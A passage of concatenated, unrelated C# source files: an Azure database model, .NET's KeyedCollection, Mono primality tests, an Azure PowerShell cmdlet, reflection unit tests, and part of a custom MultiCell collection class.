set { this._serviceObjectiveAssignmentErrorCode = value; }
}
private string _serviceObjectiveAssignmentErrorDescription;
/// <summary>
/// Optional. Gets the description of the error if an error occured
/// while applying a new service objective.
/// </summary>
public string ServiceObjectiveAssignmentErrorDescription
{
get { return this._serviceObjectiveAssignmentErrorDescription; }
set { this._serviceObjectiveAssignmentErrorDescription = value; }
}
private string _serviceObjectiveAssignmentState;
/// <summary>
/// Optional. Gets the state of the current service objective
/// assignment in numerical format.
/// </summary>
public string ServiceObjectiveAssignmentState
{
get { return this._serviceObjectiveAssignmentState; }
set { this._serviceObjectiveAssignmentState = value; }
}
private string _serviceObjectiveAssignmentStateDescription;
/// <summary>
/// Optional. Gets the description of the state of the current service
/// objective assignment.
/// </summary>
public string ServiceObjectiveAssignmentStateDescription
{
get { return this._serviceObjectiveAssignmentStateDescription; }
set { this._serviceObjectiveAssignmentStateDescription = value; }
}
private string _serviceObjectiveAssignmentSuccessDate;
/// <summary>
/// Optional. Gets the date the service objective assignment succeeded.
/// </summary>
public string ServiceObjectiveAssignmentSuccessDate
{
get { return this._serviceObjectiveAssignmentSuccessDate; }
set { this._serviceObjectiveAssignmentSuccessDate = value; }
}
private string _serviceObjectiveId;
/// <summary>
/// Optional. Gets the ID of the current service objective.
/// </summary>
public string ServiceObjectiveId
{
get { return this._serviceObjectiveId; }
set { this._serviceObjectiveId = value; }
}
private string _sizeMB;
/// <summary>
/// Optional. Gets the current usage of the database in megabytes.
/// </summary>
public string SizeMB
{
get { return this._sizeMB; }
set { this._sizeMB = value; }
}
/// <summary>
/// Initializes a new instance of the Database class.
/// </summary>
public Database()
{
}
}
}
| |
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Diagnostics.Contracts;
namespace System.Collections.ObjectModel
{
[DebuggerTypeProxy(typeof(CollectionDebugView<>))]
[DebuggerDisplay("Count = {Count}")]
public abstract class KeyedCollection<TKey, TItem> : Collection<TItem>
{
private const int defaultThreshold = 0;
private readonly IEqualityComparer<TKey> _comparer;
private Dictionary<TKey, TItem> _dict;
private int _keyCount;
private readonly int _threshold;
protected KeyedCollection() : this(null, defaultThreshold) { }
protected KeyedCollection(IEqualityComparer<TKey> comparer) : this(comparer, defaultThreshold) { }
protected KeyedCollection(IEqualityComparer<TKey> comparer, int dictionaryCreationThreshold)
: base(new List<TItem>()) // Be explicit about the use of List<T> so we can foreach over
// Items internally without enumerator allocations.
{
if (comparer == null)
{
comparer = EqualityComparer<TKey>.Default;
}
if (dictionaryCreationThreshold == -1)
{
dictionaryCreationThreshold = int.MaxValue;
}
if (dictionaryCreationThreshold < -1)
{
throw new ArgumentOutOfRangeException(nameof(dictionaryCreationThreshold), SR.ArgumentOutOfRange_InvalidThreshold);
}
_comparer = comparer;
_threshold = dictionaryCreationThreshold;
}
/// <summary>
/// Enables the use of foreach internally without allocations using <see cref="List{T}"/>'s struct enumerator.
/// </summary>
new private List<TItem> Items
{
get
{
Debug.Assert(base.Items is List<TItem>);
return (List<TItem>)base.Items;
}
}
public IEqualityComparer<TKey> Comparer
{
get
{
return _comparer;
}
}
public TItem this[TKey key]
{
get
{
if (key == null)
{
throw new ArgumentNullException(nameof(key));
}
if (_dict != null)
{
return _dict[key];
}
foreach (TItem item in Items)
{
if (_comparer.Equals(GetKeyForItem(item), key)) return item;
}
throw new KeyNotFoundException();
}
}
public bool Contains(TKey key)
{
if (key == null)
{
throw new ArgumentNullException(nameof(key));
}
if (_dict != null)
{
return _dict.ContainsKey(key);
}
foreach (TItem item in Items)
{
if (_comparer.Equals(GetKeyForItem(item), key)) return true;
}
return false;
}
private bool ContainsItem(TItem item)
{
TKey key;
if ((_dict == null) || ((key = GetKeyForItem(item)) == null))
{
return Items.Contains(item);
}
TItem itemInDict;
bool exist = _dict.TryGetValue(key, out itemInDict);
if (exist)
{
return EqualityComparer<TItem>.Default.Equals(itemInDict, item);
}
return false;
}
public bool Remove(TKey key)
{
if (key == null)
{
throw new ArgumentNullException(nameof(key));
}
if (_dict != null)
{
TItem item;
return _dict.TryGetValue(key, out item) && Remove(item);
}
for (int i = 0; i < Items.Count; i++)
{
if (_comparer.Equals(GetKeyForItem(Items[i]), key))
{
RemoveItem(i);
return true;
}
}
return false;
}
protected IDictionary<TKey, TItem> Dictionary
{
get { return _dict; }
}
protected void ChangeItemKey(TItem item, TKey newKey)
{
// Check if the item exists in the collection
if (!ContainsItem(item))
{
throw new ArgumentException(SR.Argument_ItemNotExist);
}
TKey oldKey = GetKeyForItem(item);
if (!_comparer.Equals(oldKey, newKey))
{
if (newKey != null)
{
AddKey(newKey, item);
}
if (oldKey != null)
{
RemoveKey(oldKey);
}
}
}
protected override void ClearItems()
{
base.ClearItems();
if (_dict != null)
{
_dict.Clear();
}
_keyCount = 0;
}
protected abstract TKey GetKeyForItem(TItem item);
protected override void InsertItem(int index, TItem item)
{
TKey key = GetKeyForItem(item);
if (key != null)
{
AddKey(key, item);
}
base.InsertItem(index, item);
}
protected override void RemoveItem(int index)
{
TKey key = GetKeyForItem(Items[index]);
if (key != null)
{
RemoveKey(key);
}
base.RemoveItem(index);
}
protected override void SetItem(int index, TItem item)
{
TKey newKey = GetKeyForItem(item);
TKey oldKey = GetKeyForItem(Items[index]);
if (_comparer.Equals(oldKey, newKey))
{
if (newKey != null && _dict != null)
{
_dict[newKey] = item;
}
}
else
{
if (newKey != null)
{
AddKey(newKey, item);
}
if (oldKey != null)
{
RemoveKey(oldKey);
}
}
base.SetItem(index, item);
}
private void AddKey(TKey key, TItem item)
{
if (_dict != null)
{
_dict.Add(key, item);
}
else if (_keyCount == _threshold)
{
CreateDictionary();
_dict.Add(key, item);
}
else
{
if (Contains(key))
{
throw new ArgumentException(SR.Format(SR.Argument_AddingDuplicate, key));
}
_keyCount++;
}
}
private void CreateDictionary()
{
_dict = new Dictionary<TKey, TItem>(_comparer);
foreach (TItem item in Items)
{
TKey key = GetKeyForItem(item);
if (key != null)
{
_dict.Add(key, item);
}
}
}
private void RemoveKey(TKey key)
{
Debug.Assert(key != null, "key shouldn't be null!");
if (_dict != null)
{
_dict.Remove(key);
}
else
{
_keyCount--;
}
}
}
}
| |
//
// Mono.Math.Prime.PrimalityTests.cs - Test for primality
//
// Authors:
// Ben Maurer
//
// Copyright (c) 2003 Ben Maurer. All rights reserved
//
//
// Permission is hereby granted, free of charge, to any person obtaining
// a copy of this software and associated documentation files (the
// "Software"), to deal in the Software without restriction, including
// without limitation the rights to use, copy, modify, merge, publish,
// distribute, sublicense, and/or sell copies of the Software, and to
// permit persons to whom the Software is furnished to do so, subject to
// the following conditions:
//
// The above copyright notice and this permission notice shall be
// included in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
//
using System;
namespace Granados.Mono.Math.Prime {
#if INSIDE_CORLIB
internal
#elif GRANADOS
internal
#else
public
#endif
delegate bool PrimalityTest (BigInteger bi, ConfidenceFactor confidence);
#if INSIDE_CORLIB
internal
#elif GRANADOS
internal
#else
public
#endif
sealed class PrimalityTests {
private PrimalityTests ()
{
}
#region SPP Test
private static int GetSPPRounds (BigInteger bi, ConfidenceFactor confidence)
{
int bc = bi.BitCount();
int Rounds;
// Data from HAC, 4.49
if (bc <= 100 ) Rounds = 27;
else if (bc <= 150 ) Rounds = 18;
else if (bc <= 200 ) Rounds = 15;
else if (bc <= 250 ) Rounds = 12;
else if (bc <= 300 ) Rounds = 9;
else if (bc <= 350 ) Rounds = 8;
else if (bc <= 400 ) Rounds = 7;
else if (bc <= 500 ) Rounds = 6;
else if (bc <= 600 ) Rounds = 5;
else if (bc <= 800 ) Rounds = 4;
else if (bc <= 1250) Rounds = 3;
else Rounds = 2;
switch (confidence) {
case ConfidenceFactor.ExtraLow:
Rounds >>= 2;
return Rounds != 0 ? Rounds : 1;
case ConfidenceFactor.Low:
Rounds >>= 1;
return Rounds != 0 ? Rounds : 1;
case ConfidenceFactor.Medium:
return Rounds;
case ConfidenceFactor.High:
return Rounds << 1;
case ConfidenceFactor.ExtraHigh:
return Rounds << 2;
case ConfidenceFactor.Provable:
throw new Exception ("The Rabin-Miller test can not be executed in a way such that its results are provable");
default:
throw new ArgumentOutOfRangeException ("confidence");
}
}
public static bool Test (BigInteger n, ConfidenceFactor confidence)
{
// Rabin-Miller fails with smaller primes (at least with our BigInteger code)
if (n.BitCount () < 33)
return SmallPrimeSppTest (n, confidence);
else
return RabinMillerTest (n, confidence);
}
/// <summary>
/// Probabilistic prime test based on Rabin-Miller's test
/// </summary>
/// <param name="n" type="BigInteger.BigInteger">
/// <para>
/// The number to test.
/// </para>
/// </param>
/// <param name="confidence" type="int">
/// <para>
/// The number of chosen bases. The test has at least a
/// 1/4^confidence chance of falsely returning True.
/// </para>
/// </param>
/// <returns>
/// <para>
/// True if "this" is a strong pseudoprime to randomly chosen bases.
/// </para>
/// <para>
/// False if "this" is definitely NOT prime.
/// </para>
/// </returns>
public static bool RabinMillerTest (BigInteger n, ConfidenceFactor confidence)
{
int bits = n.BitCount ();
int t = GetSPPRounds (bits, confidence);
// n - 1 == 2^s * r, r is odd
BigInteger n_minus_1 = n - 1;
int s = n_minus_1.LowestSetBit ();
BigInteger r = n_minus_1 >> s;
BigInteger.ModulusRing mr = new BigInteger.ModulusRing (n);
// Applying optimization from HAC section 4.50 (base == 2)
// not a really random base but an interesting (and speedy) one
BigInteger y = null;
// FIXME - optimization disable for small primes due to bug #81857
if (n.BitCount () > 100)
y = mr.Pow (2, r);
// still here ? start at round 1 (round 0 was a == 2)
for (int round = 0; round < t; round++) {
if ((round > 0) || (y == null)) {
BigInteger a = null;
// check for 2 <= a <= n - 2
// ...but we already did a == 2 previously as an optimization
do {
a = BigInteger.GenerateRandom (bits);
} while ((a <= 2) && (a >= n_minus_1));
y = mr.Pow (a, r);
}
if (y == 1)
continue;
for (int j = 0; ((j < s) && (y != n_minus_1)); j++) {
y = mr.Pow (y, 2);
if (y == 1)
return false;
}
if (y != n_minus_1)
return false;
}
return true;
}
public static bool SmallPrimeSppTest (BigInteger bi, ConfidenceFactor confidence)
{
int Rounds = GetSPPRounds (bi, confidence);
// calculate values of s and t
BigInteger p_sub1 = bi - 1;
int s = p_sub1.LowestSetBit ();
BigInteger t = p_sub1 >> s;
BigInteger.ModulusRing mr = new BigInteger.ModulusRing (bi);
for (int round = 0; round < Rounds; round++) {
BigInteger b = mr.Pow (BigInteger.smallPrimes [round], t);
if (b == 1) continue; // a^t mod p = 1
bool result = false;
for (int j = 0; j < s; j++) {
if (b == p_sub1) { // a^((2^j)*t) mod p = p-1 for some 0 <= j <= s-1
result = true;
break;
}
b = (b * b) % bi;
}
if (result == false)
return false;
}
return true;
}
#endregion
// TODO: Implement the Lucus test
// TODO: Implement other new primality tests
// TODO: Implement primality proving
}
}
| |
//
// Copyright (c) Microsoft and contributors. All rights reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
//
// See the License for the specific language governing permissions and
// limitations under the License.
//
// Warning: This code was generated by a tool.
//
// Changes to this file may cause incorrect behavior and will be lost if the
// code is regenerated.
using Microsoft.Azure.Commands.Compute.Automation.Models;
using Microsoft.Azure.Management.Compute;
using Microsoft.Azure.Management.Compute.Models;
using System;
using System.Collections;
using System.Collections.Generic;
using System.Linq;
using System.Management.Automation;
namespace Microsoft.Azure.Commands.Compute.Automation
{
public partial class InvokeAzureComputeMethodCmdlet : ComputeAutomationBaseCmdlet
{
protected object CreateVirtualMachineScaleSetVMGetDynamicParameters()
{
dynamicParameters = new RuntimeDefinedParameterDictionary();
var pResourceGroupName = new RuntimeDefinedParameter();
pResourceGroupName.Name = "ResourceGroupName";
pResourceGroupName.ParameterType = typeof(string);
pResourceGroupName.Attributes.Add(new ParameterAttribute
{
ParameterSetName = "InvokeByDynamicParameters",
Position = 1,
Mandatory = true
});
pResourceGroupName.Attributes.Add(new AllowNullAttribute());
dynamicParameters.Add("ResourceGroupName", pResourceGroupName);
var pVMScaleSetName = new RuntimeDefinedParameter();
pVMScaleSetName.Name = "VMScaleSetName";
pVMScaleSetName.ParameterType = typeof(string);
pVMScaleSetName.Attributes.Add(new ParameterAttribute
{
ParameterSetName = "InvokeByDynamicParameters",
Position = 2,
Mandatory = true
});
pVMScaleSetName.Attributes.Add(new AllowNullAttribute());
dynamicParameters.Add("VMScaleSetName", pVMScaleSetName);
var pInstanceId = new RuntimeDefinedParameter();
pInstanceId.Name = "InstanceId";
pInstanceId.ParameterType = typeof(string);
pInstanceId.Attributes.Add(new ParameterAttribute
{
ParameterSetName = "InvokeByDynamicParameters",
Position = 3,
Mandatory = true
});
pInstanceId.Attributes.Add(new AllowNullAttribute());
dynamicParameters.Add("InstanceId", pInstanceId);
var pArgumentList = new RuntimeDefinedParameter();
pArgumentList.Name = "ArgumentList";
pArgumentList.ParameterType = typeof(object[]);
pArgumentList.Attributes.Add(new ParameterAttribute
{
ParameterSetName = "InvokeByStaticParameters",
Position = 4,
Mandatory = true
});
pArgumentList.Attributes.Add(new AllowNullAttribute());
dynamicParameters.Add("ArgumentList", pArgumentList);
return dynamicParameters;
}
protected void ExecuteVirtualMachineScaleSetVMGetMethod(object[] invokeMethodInputParameters)
{
string resourceGroupName = (string)ParseParameter(invokeMethodInputParameters[0]);
string vmScaleSetName = (string)ParseParameter(invokeMethodInputParameters[1]);
string instanceId = (string)ParseParameter(invokeMethodInputParameters[2]);
if (!string.IsNullOrEmpty(resourceGroupName) && !string.IsNullOrEmpty(vmScaleSetName) && !string.IsNullOrEmpty(instanceId))
{
var result = VirtualMachineScaleSetVMsClient.Get(resourceGroupName, vmScaleSetName, instanceId);
WriteObject(result);
}
else if (!string.IsNullOrEmpty(resourceGroupName) && !string.IsNullOrEmpty(vmScaleSetName))
{
var result = VirtualMachineScaleSetVMsClient.List(resourceGroupName, vmScaleSetName);
var resultList = result.ToList();
var nextPageLink = result.NextPageLink;
while (!string.IsNullOrEmpty(nextPageLink))
{
var pageResult = VirtualMachineScaleSetVMsClient.ListNext(nextPageLink);
foreach (var pageItem in pageResult)
{
resultList.Add(pageItem);
}
nextPageLink = pageResult.NextPageLink;
}
WriteObject(resultList, true);
}
}
}
public partial class NewAzureComputeArgumentListCmdlet : ComputeAutomationBaseCmdlet
{
protected PSArgument[] CreateVirtualMachineScaleSetVMGetParameters()
{
string resourceGroupName = string.Empty;
string vmScaleSetName = string.Empty;
string instanceId = string.Empty;
return ConvertFromObjectsToArguments(
new string[] { "ResourceGroupName", "VMScaleSetName", "InstanceId" },
new object[] { resourceGroupName, vmScaleSetName, instanceId });
}
}
[Cmdlet(VerbsCommon.Get, "AzureRmVmssVM", DefaultParameterSetName = "DefaultParameter")]
[OutputType(typeof(PSVirtualMachineScaleSetVM))]
public partial class GetAzureRmVmssVM : ComputeAutomationBaseCmdlet
{
public override void ExecuteCmdlet()
{
ExecuteClientAction(() =>
{
string resourceGroupName = this.ResourceGroupName;
string vmScaleSetName = this.VMScaleSetName;
string instanceId = this.InstanceId;
if (!string.IsNullOrEmpty(resourceGroupName) && !string.IsNullOrEmpty(vmScaleSetName) && !string.IsNullOrEmpty(instanceId))
{
if (this.ParameterSetName.Equals("FriendMethod"))
{
var result = VirtualMachineScaleSetVMsClient.GetInstanceView(resourceGroupName, vmScaleSetName, instanceId);
var psObject = new PSVirtualMachineScaleSetVMInstanceView();
ComputeAutomationAutoMapperProfile.Mapper.Map<VirtualMachineScaleSetVMInstanceView, PSVirtualMachineScaleSetVMInstanceView>(result, psObject);
WriteObject(psObject);
}
else
{
var result = VirtualMachineScaleSetVMsClient.Get(resourceGroupName, vmScaleSetName, instanceId);
var psObject = new PSVirtualMachineScaleSetVM();
ComputeAutomationAutoMapperProfile.Mapper.Map<VirtualMachineScaleSetVM, PSVirtualMachineScaleSetVM>(result, psObject);
WriteObject(psObject);
}
}
else if (!string.IsNullOrEmpty(resourceGroupName) && !string.IsNullOrEmpty(vmScaleSetName))
{
var result = VirtualMachineScaleSetVMsClient.List(resourceGroupName, vmScaleSetName);
var resultList = result.ToList();
var nextPageLink = result.NextPageLink;
while (!string.IsNullOrEmpty(nextPageLink))
{
var pageResult = VirtualMachineScaleSetVMsClient.ListNext(nextPageLink);
foreach (var pageItem in pageResult)
{
resultList.Add(pageItem);
}
nextPageLink = pageResult.NextPageLink;
}
var psObject = new List<PSVirtualMachineScaleSetVMList>();
foreach (var r in resultList)
{
psObject.Add(ComputeAutomationAutoMapperProfile.Mapper.Map<VirtualMachineScaleSetVM, PSVirtualMachineScaleSetVMList>(r));
}
WriteObject(psObject, true);
}
});
}
[Parameter(
ParameterSetName = "DefaultParameter",
Position = 1,
Mandatory = false,
ValueFromPipelineByPropertyName = true,
ValueFromPipeline = false)]
[Parameter(
ParameterSetName = "FriendMethod",
Position = 1,
Mandatory = false,
ValueFromPipelineByPropertyName = true,
ValueFromPipeline = false)]
[AllowNull]
[ResourceManager.Common.ArgumentCompleters.ResourceGroupCompleter()]
public string ResourceGroupName { get; set; }
[Parameter(
ParameterSetName = "DefaultParameter",
Position = 2,
Mandatory = false,
ValueFromPipelineByPropertyName = true,
ValueFromPipeline = false)]
[Parameter(
ParameterSetName = "FriendMethod",
Position = 2,
Mandatory = false,
ValueFromPipelineByPropertyName = true,
ValueFromPipeline = false)]
[Alias("Name")]
[AllowNull]
public string VMScaleSetName { get; set; }
[Parameter(
ParameterSetName = "DefaultParameter",
Position = 3,
Mandatory = false,
ValueFromPipelineByPropertyName = true,
ValueFromPipeline = false)]
[Parameter(
ParameterSetName = "FriendMethod",
Position = 3,
Mandatory = false,
ValueFromPipelineByPropertyName = true,
ValueFromPipeline = false)]
[AllowNull]
public string InstanceId { get; set; }
[Parameter(
ParameterSetName = "FriendMethod",
Mandatory = true)]
[AllowNull]
public SwitchParameter InstanceView { get; set; }
}
}
| |
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Reflection;
using Xunit;
namespace System.Reflection.Tests
{
public static class ConstructorInfoTests
{
public static IEnumerable<object[]> Equality_TestData()
{
ConstructorInfo[] methodSampleConstructors1 = GetConstructors(typeof(ConstructorInfoInvokeSample));
ConstructorInfo[] methodSampleConstructors2 = GetConstructors(typeof(ConstructorInfoInvokeSample));
yield return new object[] { methodSampleConstructors1[0], methodSampleConstructors2[0], true };
yield return new object[] { methodSampleConstructors1[1], methodSampleConstructors2[1], true };
yield return new object[] { methodSampleConstructors1[2], methodSampleConstructors2[2], true };
yield return new object[] { methodSampleConstructors1[1], methodSampleConstructors2[2], false };
}
[Theory]
[MemberData(nameof(Equality_TestData))]
public static void Test_Equality(ConstructorInfo constructorInfo1, ConstructorInfo constructorInfo2, bool expected)
{
Assert.Equal(expected, constructorInfo1 == constructorInfo2);
Assert.NotEqual(expected, constructorInfo1 != constructorInfo2);
}
[Fact]
public static void Verify_Invoke_ReturnsNewObject()
{
ConstructorInfo[] cis = GetConstructors(typeof(ConstructorInfoInvokeSample));
Assert.Equal(cis.Length, 3);
ConstructorInfoInvokeSample obj = (ConstructorInfoInvokeSample)cis[0].Invoke(null);
Assert.NotNull(obj);
}
[Fact]
public static void TestInvoke_Nullery()
{
ConstructorInfo[] cis = GetConstructors(typeof(ConstructorInfoClassA));
Object obj = cis[0].Invoke(null, new object[] { });
Assert.Null(obj);
}
[Fact]
public static void TestInvokeNeg()
{
ConstructorInfo[] cis = GetConstructors(typeof(ConstructorInfoClassA));
Object obj = null;
Assert.Throws<MemberAccessException>(() => { obj = cis[0].Invoke(new object[] { }); });
Assert.Null(obj);
}
[Fact]
public static void TestInvoke_1DArray()
{
ConstructorInfo[] cis = GetConstructors(typeof(System.Object[]));
object[] arr = null;
//Test data for array length
int[] arraylength = { 1, 2, 99, 65535 };
//try to invoke Array ctors with different lengths
foreach (int length in arraylength)
{
//create big Array with elements
arr = (object[])cis[0].Invoke(new Object[] { length });
Assert.NotNull(arr);
Assert.Equal(arr.Length, length);
}
}
[Fact]
public static void TestInvoke_1DArrayWithNegativeLength()
{
ConstructorInfo[] cis = GetConstructors(typeof(System.Object[]));
object[] arr = null;
//Test data for array length
int[] arraylength = { -1, -2, -99 };
//try to invoke Array ctors with different lengths
foreach (int length in arraylength)
{
//create big Array with elements
Assert.Throws<OverflowException>(() => { arr = (object[])cis[0].Invoke(new Object[] { length }); });
}
}
[Fact]
public static void TestInvokeWithOneParam()
{
ConstructorInfo[] cis = GetConstructors(typeof(ConstructorInfoInvokeSample));
//try to invoke Array ctors with one param
ConstructorInfoInvokeSample obj = null;
obj = (ConstructorInfoInvokeSample)cis[1].Invoke(new object[] { 100 });
Assert.NotNull(obj);
Assert.Equal(obj.intValue, 100);
}
[Fact]
public static void TestInvokeWithTwoParams()
{
ConstructorInfo[] cis = GetConstructors(typeof(ConstructorInfoInvokeSample));
//try to invoke Array ctors with one param
ConstructorInfoInvokeSample obj = null;
obj = (ConstructorInfoInvokeSample)cis[2].Invoke(new object[] { 101, "hello" });
Assert.NotNull(obj);
Assert.Equal(obj.intValue, 101);
Assert.Equal(obj.strValue, "hello");
}
[Fact]
public static void TestInvoke_NoParamsProvided()
{
ConstructorInfo[] cis = GetConstructors(typeof(ConstructorInfoInvokeSample));
//try to invoke Array ctors with one param
ConstructorInfoInvokeSample obj = null;
Assert.Throws<TargetParameterCountException>(() => { obj = (ConstructorInfoInvokeSample)cis[2].Invoke(new object[] { }); });
}
[Fact]
public static void TestInvoke_ParamMismatch()
{
ConstructorInfo[] cis = GetConstructors(typeof(ConstructorInfoInvokeSample));
//try to invoke Array ctors with one param
ConstructorInfoInvokeSample obj = null;
Assert.Throws<TargetParameterCountException>(() => { obj = (ConstructorInfoInvokeSample)cis[2].Invoke(new object[] { 121 }); });
}
[Fact]
public static void TestInvoke_WrongParamType()
{
ConstructorInfo[] cis = GetConstructors(typeof(ConstructorInfoInvokeSample));
//try to invoke Array ctors with one param
ConstructorInfoInvokeSample obj = null;
Assert.Throws<ArgumentException>(() => { obj = (ConstructorInfoInvokeSample)cis[1].Invoke(new object[] { "hello" }); });
}
[Fact]
public static void TestInvoke_ConstructorOnExistingInstance()
{
ConstructorInfo[] cis = GetConstructors(typeof(ConstructorInfoInvokeSample));
//try to invoke Array ctors with one param
ConstructorInfoInvokeSample obj1 = new ConstructorInfoInvokeSample(100, "hello");
ConstructorInfoInvokeSample obj2 = null;
obj2 = (ConstructorInfoInvokeSample)cis[2].Invoke(obj1, new object[] { 999, "initialized" });
Assert.Null(obj2);
Assert.Equal(obj1.intValue, 999);
Assert.Equal(obj1.strValue, "initialized");
}
[Fact]
public static void TestInvoke_AbstractConstructor()
{
ConstructorInfo[] cis = GetConstructors(typeof(Base));
Object obj = null;
Assert.Throws<MemberAccessException>(() => { obj = (Base)cis[0].Invoke(new object[] { }); });
}
[Fact]
public static void TestInvoke_DerivedConstructor()
{
ConstructorInfo[] cis = GetConstructors(typeof(Derived));
Derived obj = null;
obj = (Derived)cis[0].Invoke(new object[] { });
Assert.NotNull(obj);
}
[Fact]
public static void TestInvoke_Struct()
{
ConstructorInfo[] cis = GetConstructors(typeof(MyStruct));
MyStruct obj;
obj = (MyStruct)cis[0].Invoke(new object[] { 1, 2 });
Assert.NotNull(obj);
Assert.Equal(obj.x, 1);
Assert.Equal(obj.y, 2);
}
public static ConstructorInfo[] GetConstructors(Type type)
{
return type.GetTypeInfo().DeclaredConstructors.ToArray();
}
}
//Metadata for Reflection
public class ConstructorInfoInvokeSample
{
public int intValue = 0;
public string strValue = "";
public ConstructorInfoInvokeSample() { }
public ConstructorInfoInvokeSample(int i)
{
this.intValue = i;
}
public ConstructorInfoInvokeSample(int i, string s)
{
this.intValue = i;
this.strValue = s;
}
public string Method1(DateTime t)
{
return "";
}
}
public class ConstructorInfoClassA
{
static ConstructorInfoClassA()
{
}
}
public abstract class Base
{
public Base()
{
}
}
public class Derived : Base
{
public Derived()
{
}
}
public struct MyStruct
{
public int x;
public int y;
public MyStruct(int p1, int p2)
{
x = p1;
y = p2;
}
};
}
| |
using System;
using System.Reflection;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Collections;
namespace Libraries.Collections
{
/*
A Multicell is a cell that stores cells
this allows for techniques such as the principle of
locality and a segmented memory model to take place
as each cell can be located in different areas of memory
and the reference is stored in the given area.
The super type of a multi cell is cell and operating on the
super type will allow one to modify the cells instead of the
data they store.
A multicell must shadow:
- indexer operator
- the length property
- the count property
- the IsFull property
- the Expand method
- the GetEnumerator method to return IEnumerable<T>
instead of R
It must add the following as well
- A consolidate operator to covert the multiple cells into
a single large cell
- a new Add method for data elements of type t
- a new Remove method for data elements of type t
- the Exists method for data elements of type t
- the indexof method for data elements of type T
- a new contains method for data elements of type T
Prototype interface
--------------------------
public interface IMultiCell<R, T> : ICell<R>, IEnumerable<T>
where R : ICell<T>
{
new T this[int index] { get; }
new int Length { get; }
new int Count { get; }
new bool IsFull { get; }
new void Expand(int newSize);
new IEnumerator<T> GetEnumerator();
Cell<T> Consolidate();
bool Add(T value);
bool Remove(T value);
int IndexOf(T value);
bool Exists(Predicate<T> predicate);
bool Contains(T value);
}
*/
public class MultiCell<R, T> : Cell<R> , IEnumerable<T>
where R : Cell<T>
{
protected Func<int, R> ctor;
private int lastCell, defaultCellSize, numElements, capacity;
public int DefaultCellSize { get { return defaultCellSize; } set { defaultCellSize = value; } }
public int CurrentCell { get { return lastCell; } protected set { lastCell = value; } }
public new int Length { get { return capacity; } protected set { capacity = value; } }
public new int Count { get { return numElements; } protected set { numElements = value; } }
public int CellCount { get { return base.Count; } protected set { base.Count = value; } }
public int CellLength { get { return base.Length; } }
public new bool IsFull { get { return Count == Length; } }
public Func<int, R> CellConstructor { get { return ctor; } protected set { ctor = value; } }
public MultiCell(Func<int, R> ctor, int size, int defaultCellSize)
: base(size)
{
this.defaultCellSize = defaultCellSize;
lastCell = 0;
this.ctor = ctor;
base.Add(ctor(defaultCellSize));
Length = backingStore[0].Length;
}
public MultiCell(Func<int, R> ctor, int size)
: this(ctor, size, DEFAULT_CAPACITY)
{
}
public MultiCell(Func<int, R> ctor)
: this(ctor, DEFAULT_CAPACITY)
{
}
public MultiCell(MultiCell<R, T> cell)
: base(cell.Length)
{
this.ctor = cell.ctor;
this.defaultCellSize = cell.defaultCellSize;
this.lastCell = cell.lastCell;
for(int i = 0; i < cell.Length; i++)
this.backingStore[i] = (R)cell.backingStore[i].Clone();
}
public bool AddRange(IEnumerable<T> elements)
{
foreach(T v in elements)
if(!Add(v))
return false;
return true;
}
public bool Add(T value)
{
//this can fail horribly
if(lastCell >= base.Count)
return false;
bool result = backingStore[lastCell].Add(value);
if(result)
{
numElements++;
return true;
}
else
{
lastCell++;
return Add(value);
}
}
public new bool Remove(R value)
{
bool result = base.Remove(value);
if(result)
{
Length -= value.Length;
Count -= value.Count;
}
return result;
}
public bool Remove(T value)
{
int index = IndexOf(value);
bool result = (index == -1);
if(!result)
{
R target = base[index];
result = target.Remove(value);
if(result)
Count--;
if(target.Count == 0 && lastCell > 0)
lastCell--; //go to the previous one so that if the removal continues we can properly handle this
}
return result;
}
public int IndexOf(T value)
{
int index = 0;
Predicate<T> subElement = (y) =>
{
bool result = y.Equals(value);
if(!result)
index++;
return result;
};
Predicate<R> p = (x) => x.Exists(subElement);
return Exists(p) ? index : -1;
}
protected object compressionLock = new object();
public new T[] ToArray()
{
List<T> elements = new List<T>();
for(int i = 0; i < base.Count; i++)
{
R value = base[i];
for(int j = 0; j < value.Count; j++)
elements.Add(value[j]);
}
return elements.ToArray();
}
public void PerformFullCompression()
{
lock(compressionLock)
{
T[] newElements = ToArray();
Clear();
AddRange(newElements);
}
}
public new void Expand(int newSize)
{
if(newSize < Length)
throw new ArgumentException("Given new cell count is smaller than current count");
else if(newSize == Length)
return;
else
{
int increase = newSize - Length;
R newCell = ctor(increase);
bool result = Add(newCell);
if(!result)
{
base.Expand(base.Length + 2);
Add(newCell);
}
Length += increase;
}
}
public override object Clone()
{
return new MultiCell<R, T>(this);
}
public new void Clear()
{
CellCount = 0;
lastCell = 0;
Count = 0;
Length = 0;
for(int i = 0; i < CellLength; i++)
base[i].Clear();
}
public void ExpandCells(int newCellCount)
{
if (newCellCount < base.Length)
throw new ArgumentException("Given new size is smaller than current size");
else if (newCellCount == base.Length)
return;
else
base.Expand(newCellCount);
}
public bool Exists(Predicate<T> pred)
{
Predicate<R> pr = (y) => y.Exists(pred);
return Exists(pr);
}
public bool Contains(T value)
{
Predicate<T> pred = (x) => x.Equals(value);
return Exists(pred);
}
/*
When overloading this[int index] its important to convert the
index so that it spans across the different cells automatically
*/
public new T this[int index]
{
get
{
KeyValuePair<int, int> relativePos = TranslateIndex(index);
